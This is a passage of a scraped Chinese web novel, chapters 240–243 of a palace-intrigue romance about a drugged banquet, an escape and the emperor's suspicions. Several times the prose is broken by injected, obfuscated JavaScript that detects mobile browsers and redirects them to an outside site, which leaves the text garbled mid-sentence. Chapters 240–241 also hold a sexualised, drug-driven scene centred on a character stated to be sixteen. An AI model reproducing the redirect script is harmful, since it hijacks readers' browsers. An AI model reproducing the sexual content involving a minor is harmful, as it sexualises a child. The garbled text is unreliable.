漠勒随从起哄,立即有人起身去给郭学林倒酒。 这三大碗下去,郭学林还能回家? 漠勒这是故意的。 北寰舞倏地站起身,身边吵杂立即停了下来。 她缓缓环顾四周,冷声道:“今日这宴席既然是皇后娘娘组的局,主家不在,我们这些来做客起什么哄,散了罢,咱们各回各家。” 漠勒伸手:“唉,郡主,话不能这么说。小王今日来,就是想与郡主花前月下。毕竟我们的婚事,还要继续商谈。” 北寰舞望着他:“三王子这话怎么说的?你不是求娶嫡公主。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13283369|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 漠勒拿起酒碗:“公主是东陵掌上明珠,小王有迎娶的意愿,也要看皇后与陛下同不同意。小王来了这么久了,陛下还没回复,今日皇后组了这个局,摆明了就是想撮合我们……” “那可未必。”郭学林打断漠勒的话,也拿起一碗酒,“公主与郡主都是东陵尊贵的姑娘,岂是你们乌族小国就能轻易求娶的?” 这话一出,漠勒的随从们不干了,纷纷站起身来撸袖子要动手。 郭学林举碗,向着漠勒一礼,一饮而下,淡然道:“和亲这事,三王子又何必这么着急呢?再等等,说的不定就峰回路转了呢?” 郭学林说话的态度比漠勒还轻蔑,他甚至把那一碗酒干了,依然稳坐席间。 这样的举动无疑是在撩火。 漠勒本就看郭学林不爽,今日若不是他平插一脚,他就可以跟北寰舞两个人独处。 现在郭学林骤然出现坏了他的好事,漠勒怎么可能忍下这口气? “什么峰回路转?!”漠勒当即拍案而起,“你他妈的就是瞧不起我们!” 郭学林一点也不慌,站起身,朝着漠勒微微一礼:“我只是说实话而已。三王子若是不信,我只说一点。” 漠勒敛了怒气,望着郭学林。 郭学林双手拢在衣袖里,淡然地望着坐在对面的人,轻声道:“三王子来和亲,是司马昭之心路人皆知。我们知道,难道你的哥哥二王子不知道吗?他若是想坐稳大狼主之位,你猜他现在会如何?” 漠勒根本不知道郭学林在说什么。 北寰舞却是已经豁然开朗,眼睛一亮。 郭学林缓缓道:“我若是你哥哥,不想让你娶到东陵公主郡主,必定会趁你还在许都都城的时候,挑起边境战事,破坏两国邦交。到时候,三王子是住宫里行上宾礼,还是被圈禁在宫里行人质实,这可就不好说了。” 这话一出,不仅是漠勒,就连漠勒身后一群随从也脸色骤变。 郭学林微微一笑望着漠勒:“我若是你,现在就立即动身回北境。毕竟东陵公主一直有,而哥哥的耐心,却不一定一直在。” “你!” 漠勒怒极,但仔细一听,这郭学林的话极其有道理。 他若是一直赖在这不走,东陵也不答应和亲事宜。若是等北境起了战事,他就再也不可能回去了! 只是打一场仗,便可以消除一个隐患,换作是他,他也愿意打! 郭学林说完便看向北寰舞:“臣,送郡主回去罢。” 北寰舞立即点头,转身便要跟着郭学林一起走。 哪知漠勒恶向胆边生,眼看着到手的人就要走,当即决定先抓人,今晚说什么都要生米煮成熟饭! 软的不行,就来硬的。 “抓人!”漠勒一声怒吼,随从们纷纷暴起。 郭学林见状不妙,反应极其迅速拉起北寰舞的手腕,就往殿外跑。 郭学林的蓝衣与北寰舞的青衣在飞奔中纠缠在一起,飘然出世。 他俩从杏花苑中一掠而过,惊了一树繁叶,簌簌坠落。 他们像是挣脱出牢笼奔向天空的鸟儿,不顾一切地想要逃离这里。 240. 荒谬 北寰舞穿着宫装不方便,拎着裙摆跑不快。 两人飞快奔出杏花苑,北寰舞辨了一下方向拉住郭学林:“这边!这边是御林军的巡防区域!” 北寰舞一边跑一边把头上的走一步晃三晃得步摇全部拔了丢掉,把身上厚重的宫服也脱了丢在路边。 乌族随从不熟悉宫里后花园的地形,在这弯弯绕绕的花园里迷了路,只能沿着北寰舞一路丢弃的东西寻过去。 他们看着那些首饰,沿着青石板向着皇宫深处铺展,想也不想就追了过去。 凌乱的脚步声在北寰舞与郭学林身边掠过,谁也没发现他俩竟然躲进了一个假山缝隙。 北寰舞趴在郭学林身上,两人身躯贴了个结实。 这是什么酒…… 郭学林只觉得浑身发烫。 北寰舞还在侧耳倾听外面的动静,对方还不算太笨,知道分成两路,分开寻找。 现在只能祈祷御林军巡防巡查到这里发现他们。 “他们在酒里下了药……” 郭学林艰难地伏在北寰舞耳边低声说道。 “郭学林”的声音变了。 这声音,北寰舞已经好久没听过了。 上次听见这声音,还是他俯身在她耳边,狠狠地咬了她肩膀一口,要她答应他一定等他来找她。 现在这等危机的情况,她竟然真的等到了他来寻她。 好像每次她遇见危险,都是他在她身边,与她一起化险为夷。 思念像止不住的泉水一样,无端涌出。 北寰舞抬起头,伸手,让他把脸抬起来。她静静地打量着这张脸,又轻轻地摸了摸这张脸,很快就摸到了脸上易容用的东西。 果然是他。 在杏花苑里的那一救,她好像看见郭学林用了缥缈剑的步伐。可那只是一瞬,她看得并不真切。 现在摸过之后,她才能确认。 北寰舞瞬间眼睛里就噙着泪:“暮风,是你吗?” 时均白很难受,他现在身体里有一股燥热在不断地蒸发掉他的理智。 北寰舞跑了一路,复杂的宫装脱得只剩下最里面的一层纱衣,两人就这么夹在假山中间,在这样一个逼仄的空间里紧紧贴着,她也察觉时均白身上温度逐渐升高。 “这是怎么了?” 北寰舞连忙摸时均白耳畔脖颈,他身上热得不正常。 时均白艰难地拿住北寰舞的手:“你别乱动……” 只是这一下,北寰舞就觉得时均白身上某一处硬得要命。 时均白不敢看北寰舞,眼前这个姑娘轻薄得让他不知所措。 他从未搂过这样的北寰舞,两人这样面对面挤着,什么地方都贴得严丝合缝。 北寰舞看时均白这样,当即明白过来,漠勒他在酒里下了助情的药,那酒原本是要给她喝的。 他俩原本就很久没见了,在这种情况下相见,又这样贴得如此紧,在药力的挥发下,时均白根本控制不住自己。 北寰舞当即踮起脚,顺势攀上时均白的脖颈,拉下他的头,把一唇香软送进了时均白嘴里。 身上的温度带着夏日里汗渍的温湿让这个地方变得更加炙热难捱。 “你……” 时均白睁大了眼睛,情难自已。 北寰舞认真道:“我帮你解。” 说罢她又把自己的唇送了过去。 “别……” 时均白想要避开,可这地方根本避无可避。 这姑娘坦诚的亲吻,让时均白只能不顾一切地回应。 他动不了,背后靠着假山壁,面前贴着北寰舞,只能北寰舞努力地勾着他,亲着他。 他从她的亲吻里,体会到了怨恨,辛酸,与恋恋不舍。 唇齿间偶尔泄露出一点水声交缠,都让他们为之惊恐。 “暮风……” 北寰舞捏着时均白的下巴,软软糯糯地叫着时均白的小名。时均白不敢动,只能任由北寰舞这样哈着热气,抚摸着他的脸。 “你怎么来了?” 北寰舞眼睛里都是水雾,像是夏日里沐浴池里腾升的热气。 “我想你。” 喝了酒的时均白,坦诚得很。 “哪里想?”北寰舞摸向他的胸口,“我瞧着这里没我。” 时均白抓住北寰舞的手:“别乱摸。” 脚步声从远而近。 两人都不敢再说。 安静里只有鼻息在相互纠缠。 北寰舞带一个用了药的时均白,根本不可能突围。 她没有想过漠勒的胆子这么大,竟然敢直接来硬的。她也没有想过郭学林会请旨,把宴会改了地方。她更没有想到的是,来的人竟然是时均白。 时均白根本不敢碰北寰舞,他只能用另一只手撑着假山壁,尽量离她远点。 他用他微弱的意志力抵抗着这个他日思夜想的姑娘。 脚步声远离,两人才敢大声出气。 “凌信应该有解药……”时均白每呼出一口气,都觉得自己理智少了一分,“一会儿我若是做了什么不轨的事,你把我打晕便是。” “不轨的事?”北寰舞故意向上一蹭,狠狠地蹭了时均白一下,“是什么不轨的事,说来我听听。” 时均白当即就低头咬住北寰舞的唇,恨恨道:“你!” 唇齿吃痛,可北寰舞开心极了。 她轻笑着贴着时均白的下巴,凝视着他的眼:“我没那么多规矩的。” 她这一声引诱差点让时均白失了理智。 时均白见外没人声,强行从假山缝隙里出来,拉着北寰舞一起,滚到了灌木丛里。 他垫在下面,生怕灌木割伤了这个金贵的姑娘。 北寰舞压在时均白身上,俯下身,听他的心跳。 “何人在御花园?!” 御林军巡查过来了。 “你先别动!” 北寰舞交代时均白不要动,自己狠狠地揉了一把眼睛,从灌木里起来,就开始哭泣。 北寰舞的样貌太好认了。 御林军领队远远看见就知道这是北寰舞,立即跪下:“见过郡主。” 北寰舞哭着说:“三王子漠勒……他非礼我……” 御林军一听大骇。 领头的御林军看北寰舞唇齿红肿,钗环几乎全丢了,身上更是只留了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那领队垂头,老实回道:“卑职带御林军按例巡查,巡查到杏花苑水阁旁边花园的时候看见郡主从灌木丛里逃出来。郡主逃出来就这样……她说三王子企图对她施暴,好在郭学士在场警觉带她逃了出来。” 许景挚问:“郭学林吃了什么?” 领队答道:“郡主说,郭学士就是在宴席上喝了一碗酒。方才凌公子来看过了,说是郭学士用了助情的药物,他先去御医院配解药了。” “陛下……”北寰舞终于再也忍不住了,“哇”的一声哭了出来,“我的清誉……” 许景挚看向御林军:“今日这事到此为止,谁都不许说出去!要是让孤直到今日这事明日传得沸沸扬扬,你们这一队都拿头来见!” 领队当即单膝下跪回道:“是!” 许景挚看向景雀:“后宫的内官、宫女你去交代。” 景雀颔首,立即带人退了出去。 很快有内官来禀:“陛下,兵部尚书江狄夤夜求见。” 许景挚蹙眉,看了北寰舞一眼,沉声道:“这事孤会查清楚的,你们先在宫里住着。” “陛下,”北寰舞眼睛通红,“我想要我的侍女入宫来照顾我跟郭学士。” 许景挚立即准了,让人通知临府,连夜送十个侍女进来。 241. 转机 兵部尚书半夜求见,肯定是大事,许景挚不敢耽搁,吩咐画雨轩的女官们去烧水,给北寰舞梳洗。又吩咐御林军把画雨轩看牢了,不要再让任何人进来,对郡主不利,哪怕是皇后也不能进。 各自领了命便都去干事。 许景挚又匆匆往御书房去。 画雨轩安静下来,北寰舞小心翼翼地探头观察人确实都去忙了,才敛了情绪,擦了眼泪。 她很担心时均白,可他现在状况,她也不方便进去。 她只能在屏风后轻声问:“暮风,你怎么样了?” 时均白现在一直被药力催着,尤其是下身难受得很。心里一直被什么东西撩着,心神不宁。 他不知道应该怎么说,只道:“我躺会儿……” 北寰舞听得见时均白粗重的呼吸声,方才在假山夹缝中,他还不是这样。 她也顾不了许多,径直绕过屏风,往床榻去。 时均白躬着身子,半趴在床上,额头上全是汗。 “暮风……”北寰舞走过去,轻轻地抚着时均白的背。 手刚触碰到他,整个人就被他拉了过去,一个转身便被他压在身下。只是这一翻身的功夫,北寰舞就察觉他身上一层密汗。 北寰舞躺在床上,望着时均白。 时均白狠狠地咬了一口舌尖,嘴唇上满是鲜血,依靠着疼痛才勉强留住理智。 他大口大口喘着气:“谁让你进来的……我……” 北寰舞心疼地摸了摸他的眉心:“我帮你。” “不行!”时均白努力坐起身,往床角退去,“我们还没有婚约……咳咳……我不能这样不清不楚地……要了你。” “我不在意……”北寰舞跟着坐起来,神色忧伤,“今夜你不来,我也不可能全身而退。这便是我这种身在皇家,身为女儿家的职责。我若是和亲,嫁给乌族三王子,他日他若是夺嫡失败,死了,我便会改嫁给他的哥哥,或者弟弟……我……” “别说了!”时均白伸手一把揽过北寰舞,按在怀里,“无论你在哪里,只要你有难,我一定会来救你的。” “你是知道我有难,专门回许都来找我的吗?” 北寰舞方才的嚎啕大哭,是哭给许景挚看的。 这姑娘其实从小就没怎么哭过。 她即便是哭,也是无声的流泪,她不敢让身边所有的人听见。 她听见时均白来,是因为知道她有难,眼泪就再也控制不住地流了下来。 真的好像每一次她有难,都是他宛若天神一般从天而降来救她。 在沁春城是,在邱州黑市是,现在回了许都,面对乌族三皇子的逼婚也是他。 她以为自己能割舍掉这段看似起于儿戏最后不得不终于情理的爱恋。 不曾想,在她与他小别半年之久后再次相遇,她只要看到他一个动作,就能认出易容的他。 她以为自己这辈子都不可能遇见像爹爹娘亲那样刻骨铭心的爱情的…… 北寰舞抬头去找时均白的唇。 她知道他现在药力挥发,控制不住自己,可她已经想好了不后悔。 “小舞……”时均白嘴里都是鲜血。 北寰舞不管不顾地迎上去。 她解掉披风,也退掉了身上那穿了跟没穿一样的纱衣。 “我帮你,暮风。”北寰舞轻轻地贴向时均白。 自从年节在西境,凌信说她身材平平,北寰舞就一直特别在意自己的发育。 嘴上说着不要,但是内心却是很诚实的接受了凌信给她宫廷里后宫娘娘们用的秘方。 用了半年,效果显著。 她已经十六了。 比起她与时均白初见那会儿,身子已经长开了不少。 腰线明显,胯骨浑圆。 再加上她半年吃药按摩的努力,就连上身也开始丰盈起来。 时均白真的忍不了,最后一丝理智也被北寰舞撕碎了。 唇瓣吸吮竟然连力道都控制不住,北寰舞捶打着时均白,都不能让他清醒。 他带着人转过来,要北寰舞依着床栏。 血腥味在两人嘴里蔓延,夹杂着北寰舞的泪,显得更加腥咸。 这是一个纤细娇嫩的姑娘,他一直都知道。 只是在真的碰触到的时候,他才发觉金枝玉叶这个词的含金量。 那是一种他从未接触过的触感,比丝绸还要滑软,比棉花还要绵润。 从头到脚,都是一种娇养出来的细腻。 乌云白雪,如梦如幻。 时均白用力得很,北寰舞只觉得自己背后被床栏搁得生疼。 “暮风,轻点……”北寰舞小声道,“后面床栏太硬了。” 时均白拉过北寰舞,把人放倒在床上,从上到下,从头到脚趾,他恨不得都要亲一遍。 呼吸都快要在这幔帐里溺死了,时均白却停了。 “暮风……” 北寰舞轻轻地唤了一声,他们已经坦然相见。 “……”时均白闭上眼,死死地捏住北寰舞的手,终于他还是松了手,把自己外衣脱下来给她披上。 “凌信来了……”时均白艰难地吐出这句话。 北寰舞拉紧衣衫,望着时均白。 似乎药劲最强的那股劲已经过去了,时均白还留有一丝理智。 时均白咳了一声,吐出点血沫。 他抬手擦拭了唇上的血,轻声道:“这是一个姑娘最重要的事,我想在清醒的时候得到,而不是现在这种情况,用别人的样貌。你快出去罢……” 北寰舞没想到时均白竟然能扛得住这种诱惑。 他说他想在他清醒的时候,用他自己的样貌。 北寰舞笑了。 这人都快控制不住自己的情欲了竟然还能想到这种事。 北寰舞捏了捏他的脸,轻呢道:“小醋包。” 说罢她便披着衣服下了床。 凌信耳力好得很,知道里面发生了什么。 他端着药站在门外,进也不是,退也不是。 好在时均白克制住欲望停了下来。 他在殿外,听见北寰舞脚步声往右边偏殿去了,才进去,绕到时均白的床榻。 床榻上一片狼藉,凌信看着就耳根发软,他把药递过去,道:“你最好自己弄出来,不然这药喝了,还是会难受。” 时均白接过药,一口闷了。 从临府蕊仙殿来的姐姐们也到了,她们进来看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许景挚一般晚上来咸宁殿都是留宿,不会走。 可他今日来,没有直接去寝殿,而是坐在了正殿。 萧皇后摸不透许景挚现在的想法,只能就这方才后宫里传来的消息,先俯身请罪:“臣妾有罪。” 许景挚给了景雀一个眼神:“里面不用你们伺候了,你们都出去。孤有话要问皇后。” 景雀颔首,看了一圈殿里伺候的人,这些人及其懂事,知道主子们说不用伺候了是什么意思,都纷纷退了下去。 外院伺候的也识趣地站远了,若是主子不喊,只是平常说话,外院根本听不见。 许景挚坐上殿上,睨着萧皇后好一会儿才道:“宴请是皇后自己想备的,还是漠勒请求皇后备的?” 萧皇后不知道许景挚问这话的意思。 她只能照实说:“说不上是谁想,只是我不想许思去和亲,正好三王子也改了主意,想娶郡主,这才有了今晚的宴请。” 242. 坏了 “酒水是谁准备的?”许景挚问。 萧皇后回道:“后宫宴请都是内务府安排的。” “你可知道今晚的酒里被人下了药?”许景挚眼睛死死地盯着萧皇后。 萧皇后大惊:“怎么会?!什么药?!” 许景挚道:“应该是一些助情的药。漠勒原本是想让郡主喝,不曾想,是郭学林先喝了酒,发觉酒不对。” 这话信息量巨大。 许景挚这一句话就说了许多事。 一是漠勒狼子野心,想要用助情的药使北寰舞就范。 二是郭学林喝了下了药的酒现在肯定出事了。 三是这局是她以皇后的名义设的,许景挚知道酒里下了药,北寰舞肯定也知道了,搞不好就会被北寰舞认为这局是她与漠勒一起设计,想要逼她代替公主嫁到北境去。 再往下,萧皇后就不敢想了。 她连忙跪下,道:“臣妾不知此事!” 许景挚微微后仰,用眼睛缝睨着萧皇后。 萧皇后俯身一拜道:“在酒里下药这事,臣妾确实不知。三王子只说想要与郡主独处,不希望身边有人伺候。臣妾便把所有的伺候的人撤走了。臣妾想着,这是在宫里,到处都有御林军巡逻,三王子再怎么样也不可能有过激之举……” 许景挚不说话的时候,身上有一股巨大的威压。 宫殿里没有人,萧皇后说话的声音在四处回荡,那种倾诉惶恐一圈套着一圈,回荡的空灵让萧皇后说话声音越来越小。 这事确实是她想少了。 看着许景挚的眼神越来越阴鸷,萧皇后也不敢再说,只能抿着唇,眼眸微红地望着许景挚。 许景挚望着她,缓缓道:“以后什么事,若是没孤的准许,你少作聪明。在这事上,孤还没见过谁能比她聪明的。” 说罢许景挚便甩袖离去。 萧皇后愣愣地跪坐在腿上,细细想着许景挚说的那句话——“没见过谁能比她聪明。” 那个“她”是谁? 许景挚走到咸宁殿殿门前的时候,冷然回首,凝视着依然跪在大殿里的萧皇后,心底有一丝不易察觉的剧痛正在无边蔓延。 皇后的位置,本该是她的。 这么多年过去了,她还是那个运筹帷幄的“季公子”。 她送来的这一计何其巧妙。 既解了自己女儿的和亲危机,也解了他的心结。 更重要的是,她在警告他。 要打她女儿的主意,他先要掂量掂量这个皇位重量。 她本就是从西域投诚而来的人。又经历过“朝东门”事件,若不是许安归捆着她,她便是无家无国的人。 无家无国之人,最容易做的事,那便是背叛。 当年她凭一己之力拖住了东陵向外扩张的脚步,而今她又凭一己之力推动了北伐之事。 那厚厚的图纸,就是她送过来的“剑”。 当年她投身暮云峰鬼门渊一脉是心有谋算。 岩州之战之后,她恶疾缠身,不得不从北境战场退出,推迟北伐之事。 时隔十八年之后,她又送来了她的野心。 以退为进,韬光养晦,像是她布局的风格。 许景挚嗤笑了一声。 那个人,到底是想把欠他的还清楚。 她欠他一条命,她便拿自己的儿女,东陵山河来还。 算得这么清楚…… 许景挚好似听见了自己心中寸寸龟裂的声音。 * 许景挚回到承恩殿撞见一个小内官在承恩殿外探头探脑,不由得蹙眉,冷声道:“何事?” 许景挚的声音骤然出现在小内官的身后,吓得那个内官立即回头跪在地上:“陛下……” 这样子像极了干了什么坏事,被抓住了的样子。 许景挚负手,踱步上石阶,走到那内官身边,睨着他:“回话。” 那小内官颤颤微微俯身回道:“回陛下,宫里的招灵台……走水了……奴是、是来找景大监回话的……” 许景挚眯起眼眸,沉思片刻,望了一眼承恩殿内。 殿内一片漆黑。 景雀不在。 细细回想起来,最近好像不知道什么时候,景雀就不在他身边了。 招灵台走水…… 许景挚抬眸往招灵台的方向看去,夜里宫内少有光亮,招灵台方向的天幕上确实橙光莹莹。 许景挚略微迟疑,便抬脚便要下石台。 哪知景雀从侧面回来,手上撩枝回眸若有所思地看着黑夜里的什么,在侧门站了许久。 许景挚看见景雀,他身着普通内官的衣裳,不知道从哪里回来。 景雀扶枝看了半晌,回头才发觉许景挚站在石台上望着他。 他微微一愣,连忙过去行礼。 许景挚站在石台之上,睨着景雀:“去哪了?” 景雀颔首:“有点事。” 承恩殿里的小内官们低着头,面面相觑——景内官没有回答陛下的话。 许景挚眼眸微眯盯着景雀:“你可知道宫里走水了?” 景雀又是一愣,缓缓摇头:“不知。” 许景挚深吸一口气,像是在压制怒火。 五息之后,他朗声道:“去传御林军统领秋薄!” 许景挚看了景雀一眼,甩袖去了御书房。 景雀蹙眉,自觉这事有蹊跷,连忙跟着许景挚去御书房。 许景挚走得飞快,景雀在后面紧赶慢赶也没追上。看着许景挚像是有气,景雀也不敢上去讨巧,只能吩咐身后内官去准备桂花露来。 半盏茶的功夫,秋薄就来了。 许景挚问秋薄宫里招灵台走水的事。 秋薄回道:“只是放在招灵台边上仓库里的木材走水了,现已被扑灭大半。具体烧了多少,还需要等火势平息了才知道。” 许景挚蹙眉:“可知道起火原因?” 秋薄垂眸,沉思片刻回道:“应该是人为。宫里夜晚四处都有人巡查烛火。宫里建招灵台存放木材的地方远离火种,且有专人值守……” 说到这,秋薄语气稍稍停顿,似乎是想起什么。 许景挚问:“今夜招灵台值守的人是谁?” 秋薄唇线紧抿,颔首回道:“凌信。” “凌信人呢?”许景挚说这话的时候,睨了一眼景雀。 景雀看许景挚望向他,心中暗道不好。 秋薄回道:“去给郭公子配解药了……” 凌信擅离职守。 许景挚微微向后仰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327552|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在了龙椅上,眼神幽暗。 只是几息的时间,许景挚便扬手让秋薄退下。 景雀在一边看着,惊觉今夜的事是他们所有人又让人给算计了。 许景挚看向身边用惯的老内官徐迎道:“你去查查看,今夜皇后宴席上的酒,是不是真的被人下了药。” 徐迎颔首,躬身退了下去。 景雀心里凉了半截。 许景挚开始用自小就跟着在他身边的内官,这就意味着他们之间的信任已经到了分崩离析的边缘。 但许景挚城府一向深不见底。哪怕他现在有所怀疑,也没表现在脸上。 他让御书房的内官们收拾御书房许久不用的床榻,准备今夜就歇在御书房里。 内官们连忙去铺床,偌大的御书房里,只留下许景挚与景雀两个人。 有内官端来桂花露递给景雀,景雀转手就送到了许景挚的手边。 许景挚只是用眼角瞄了一眼,没拿那盏桂花露。 景雀放软了声音,轻轻地唤了声:“陛下……” 许景挚随手在案牍上扯过一本折子,默不作声地翻看,没理他。 景雀深吸一口,缓缓俯身道:“奴去盯着他们铺床……” “景雀。”许景挚缓缓出声,“你在孤身边多少年了?” 景雀俯得更深了,回道:“十七年整。” “十七年了啊……”许景挚望着他,像是在想事。 景雀不敢抬头,许景挚不往下说,他就只能颔首听着。 夏末的深夜,皇宫深处只能隐约听见几声蛙叫。许都已经有了入秋的迹象,夜深风寒,景雀觉得背后发凉。 他从未这样小心翼翼地面对许景挚。 “你在孤身边伺候这么多年,几乎是日日当差,没有休息的时候。”许景挚摸着折子,“即日起你便好好地在承恩殿休息,伺候的事,让徐迎来罢。” 景雀身子一震,许久才撩起衣袍,缓缓跪下:“奴,谢陛下恩赏。” “你去罢。”许景挚不再看他,让他自己回承恩殿。 景雀缓缓起身,没有抬头,就这样躬着身子,低着头,后退走了几步,便毅然决然地出了御书房。 许景挚盯着御书房门口好一会儿,对着身边的亲卫江湖说道:“你去调些人,把承恩殿围严实了。” 江湖心有疑虑,但主子吩咐的事,他只能遵从。 景雀回到承恩殿,原本殿里伺候的小内官已经全部撤了出去。 偌大的殿阁里只剩下他一个人。 他站在承恩殿门口望着殿阁上的字。 承恩,承恩。 承蒙雨露恩典。 他独占着这份恩宠十多年,终于在今日也走到了尽头。 很快,景雀听见了有军靴整齐的踩踏、在承恩殿外立正站好的声音。 承恩殿内漆黑一片,承恩殿外火把通明。 景雀眼睛里印着昏黄的光,脸上没有任何情绪。他只是淡淡地望着那些御林军把他的殿阁围住,眼角不自觉滑下一滴晶莹的泪——他没有问他要一句解释。 景雀不再看墙外,就这样走进了承恩殿里。 他不想点灯,也不想换衣裳。 他连鞋子也没脱,就这样躺在了床榻上,缓缓地闭上了眼睛。 243. 软禁 景雀被软禁的消息很快就从御林军里传到了画雨轩。 是秋薄派人给北寰舞传的消息。 子时已过,北寰舞还没有入睡,接到这个消息的时候,她有些发愣。 她问传消息来的姐姐:“什么叫做景雀被软禁了?” 蕊仙殿的姐姐低声回道:“是口头传话,应该是秋统领信得过的人送来的消息。说是陛下的亲卫江湖去御林军调了人手,把承恩殿给围住了。其他再具体的情况,秋统领也不清楚。” 另外一位跟在北寰舞身边的姐姐问:“主子,景内官不是陛下心尖上的人吗?为什么陛下会软禁他?” 北寰舞缓缓抓住衣袖,许多事在北寰舞的脑中重组,她企图站在许景挚的视角重新审视从和亲开始的这场局。 “哦,对了,还有一件事。”传消息的姐姐道,“秋统领还说,宫里的招灵台走水了。是存放木材的地方起的火。” 招灵台走水了?! 北寰舞倏地站起身,下一瞬她就看见凌信又端着药进来。 她两步化作一步,奔到凌信身边抓着他的肩膀问:“你今夜为什么留在宫中?” 凌信一脸疑惑回道:“今夜我值守招灵台啊……” “……”北寰舞瞳孔微缩,“坏了……我们被人设了一局。” “什么?”凌信不懂。 北寰舞转身就往画雨轩外跑。 刚跑到画雨轩门口,就看见江海带着御林军往画雨轩来。 北寰舞深吸一口气,站定不动,等着江海带人过来。 江海见北寰舞从轩里出来,上前一步,行礼道:“卑职见过郡主。” 北寰舞稳住声线:“江侍卫好大的阵仗,夜已深,怎么用得着带这么多人来我画雨轩?” 江海抱拳一礼道:“郡主,卑职只是奉命行事。宫里有些不太平,主子让卑职带些人来驻守郡主的殿阁。保护郡主与郭公子的安全。” 奉命行事。 北寰舞眼眸微眯,江海是自小就跟在许景挚身边的亲卫,他在皇宫里领的是御前侍卫这个许景挚给他特设的官职,他只听令于许景挚。 江海这样说,那就说明带人来围画雨轩是陛下的意思。 江海看北寰舞这么晚还出来,又道:“这么晚了,郡主还是回去好好休息。” “我想出宫……”北寰舞轻声道。 江海道:“这会儿宫门早就下钥了。除非是军务,郡主要出宫也只能等到明日了。” 江海看上去面上对北寰舞客客气气,但其实他的每一句话都没给北寰舞留余地。 江海没有明说自己是来看着北寰舞的,但看这样子,其实就是连北寰舞都被扣在了宫里。 北寰舞抿唇点头:“那我回去睡了。” 江海立即欠身:“卑职恭送郡主。” 北寰舞转身快步走回画雨轩。她在轩外负手缓行,目光涣散地看着前方。 凌信从殿里出来,看见北寰舞很是惊奇:“你不是出去了?” 北寰舞回眸看向凌信,缓声道:“我们被人算计了。你现在也未必能走出这个院子。” 凌信蹙眉,狐疑地盯着北寰舞看了好一会儿才往门口去。 果然,他也被江海拦住了。 江海说夜深露重,请凌侍卫就在画雨轩偏殿休息。 凌信折身回来,看见北寰舞依栏而坐,静静地望着天幕。 “这到底是怎么回事?”凌信蹙眉,“你又犯什么事了?” “招灵台走水了。”北寰舞斜了他一眼,“你说是谁犯事了?” 凌信张了张嘴,不知道该说什么。 “你来给郭公子看病,那边你值守的地方就出事了,”北寰舞颔首轻笑,“很巧对不对?” 凌信不知道应该怎么回答。 北寰舞根本不需要他回答,自顾自地道:“在宫里,根本就不可能有这么巧的事。是有人设了个局中局,以和亲为饵。只是没到最后事发,我们都没看出来罢了。” 凌信靠近北寰舞,压低声音:“你是说三王子下药这事,是有人预谋的?目的就是为了调开我去烧招灵台的木材库?” “不然呢?”北寰舞冷笑一声,“对方这一手算得不错。无论是我还是别的谁喝了那酒,都需要解药。与我有关的人,我必会找你来帮忙。谁都没想到宫里还有人有这么大胆子,敢趁你不在的时候,放火烧招灵台的木材库。” 凌信还是没有听懂:“我离开招灵台,顶多算是擅离职守。回去领军棍便是,陛下为何要把你我圈禁在这里?” 北寰舞摇头:“不是你我,是我们。” “我们?”凌信蹙眉,“还有谁?” “景内官,时均白。”北寰舞眼中带刃,杀意满满,“对方就是要把我们按在一起杀。” 凌信越听越糊涂。 北寰舞眼看着天幕上明月被乌云一点一点地遮蔽,只留漆黑一片。 “今日宫里发生事,若是宫外的人不知道,明日就会有祸事临头。”北寰舞蹙眉,“对方终于出了杀招。” 北寰舞说着便站起身,往屋里进,空留一片声音:“休息罢。今夜这事多思无益。” 重要的是明天。 凌信根本就没听明白北寰舞在说什么,可他知道这姑娘聪明得很,论智谋不输北寰言。 他窥不透这些事本质,但有一点可以肯定的是,陛下从来没有这样限制过他们的人生自由。 留下他与北寰舞,像极了那些年外面流传的北寰言其实就是安王府送进许都的人质。 现在他与北寰舞在宫里,就是威胁神医谷与安王府的人质。 这一夜的事情都是始料未及。 北寰舞没想到,北寰言也肯定没想到。 * 夜过子时,北寰舞还没回来,蕊仙殿又抽走了十个人去宫里,北寰言一直在蕊仙殿门口来回踱步。 他知道今夜可能会有变数,但是他没想到的是北寰舞会被困在宫里。 北寰言不睡,流云流风没法休息,只能跟着北寰言一起熬。 流云看着北寰言一直负手低头在蕊仙殿门口走来走去也不是个办法,鼓起勇气上前一步,拦住北寰言步伐,低声道:“主子若是担心郡主,不如让我去宫门口打听打听?” 北寰言摇头:“不必了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 